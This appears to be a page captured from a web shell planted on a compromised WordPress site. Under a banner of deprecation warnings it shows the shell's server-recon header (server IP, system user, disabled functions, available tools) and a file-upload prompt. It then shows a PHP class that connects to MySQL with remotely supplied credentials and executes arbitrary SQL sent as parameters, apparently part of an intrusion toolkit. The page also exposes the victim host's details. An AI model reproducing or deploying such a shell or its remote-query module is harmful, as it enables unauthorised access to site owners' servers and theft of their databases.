test1
Deprecated: Function create_function() is deprecated in /home/schlebek/domains/gastrodirect.pl/public_html/wp-includes/blocks/index.php on line 2
Deprecated: Function create_function() is deprecated in /home/schlebek/domains/gastrodirect.pl/public_html/wp-includes/blocks/index.php on line 2
Deprecated: Function create_function() is deprecated in /home/schlebek/domains/gastrodirect.pl/public_html/wp-includes/blocks/index.php on line 2
Deprecated: Function create_function() is deprecated in /home/schlebek/domains/gastrodirect.pl/public_html/wp-includes/blocks/index.php on line 3
Deprecated: Function create_function() is deprecated in /home/schlebek/domains/gastrodirect.pl/public_html/wp-includes/blocks/index.php on line 3
Deprecated: Function create_function() is deprecated in /home/schlebek/domains/gastrodirect.pl/public_html/wp-includes/blocks/index.php on line 3
| Server IP : 51.83.223.64 / Your IP : 216.73.217.174 Web Server : Apache/2 System : Linux s104.addhost.pl 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64 User : schlebek ( 1218) PHP Version : 7.3.33 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/schlebek/.cagefs/tmp/mbdvd0/ |
Upload File : |
<?php
class mbd_mysql
{
public $mysql;
public $type;
function __construct($core)
{
$this->core = $core;
if(isset($this->core->data->options)) $this->_o = $this->core->data->options;
if(isset($this->core->data->params)) $this->_p = $this->core->data->params;
}
function connect($config)
{
if(function_exists('mysqli_connect'))
{
$this->type = 'mysqli';
mysqli_report(MYSQLI_REPORT_OFF);
$this->mysql = new mysqli($config[0], $config[1], $config[2], $config[3]);
if($this->mysql->connect_error) return $this->core->out($this->mysql->connect_error);
}else{
$this->type = 'mysql';
$this->mysql = mysql_connect($config[0], $config[1], $config[2]);
if(!$this->mysql) return $this->core->out(mysql_error());
if(!empty($config[3])) mysql_select_db($config[3], $this->mysql);
}
$this->prefix = isset($config[4]) ? $config[4] : '';
}
function charset($name)
{
if($this->type=='mysqli') $this->mysql->set_charset($name);
else mysql_set_charset($name);
}
function find($sql, $set='all')
{
$sql = str_replace('@P_', $this->prefix, $sql);
$data = array();
if($this->type=='mysqli')
{
if(!$result = $this->mysql->query($sql)) return $this->core->out($this->mysql->error);
if($set=='update') return TRUE;
while($row = $result->fetch_object())
{
$data[] = $row;
}
}else{
if(!$result = mysql_query($sql)) return $this->core->out(mysql_error());
if($set=='update') return TRUE;
while($row = mysql_fetch_array($result, MYSQL_ASSOC))
{
$d = new stdClass;
foreach($row AS $i => $v) $d->$i = $v;
$data[] = $v;
}
}
if(!count($data)) return FALSE;
if($set=='find') return $data[0];
if($set=='first') foreach($data[0] AS $v) return $v;
return $data;
}
function get()
{
$config = array($this->_o->host, $this->_o->user, $this->_o->pass, $this->_o->base);
$this->connect($config);
if(isset($this->_o->charset)) $this->charset($this->_o->charset);
$data = array();
foreach($this->_p AS $v) $data[] = $this->find($v->sql, isset($v->set)?$v->set:'all');
$this->core->data->result = $data;
}
}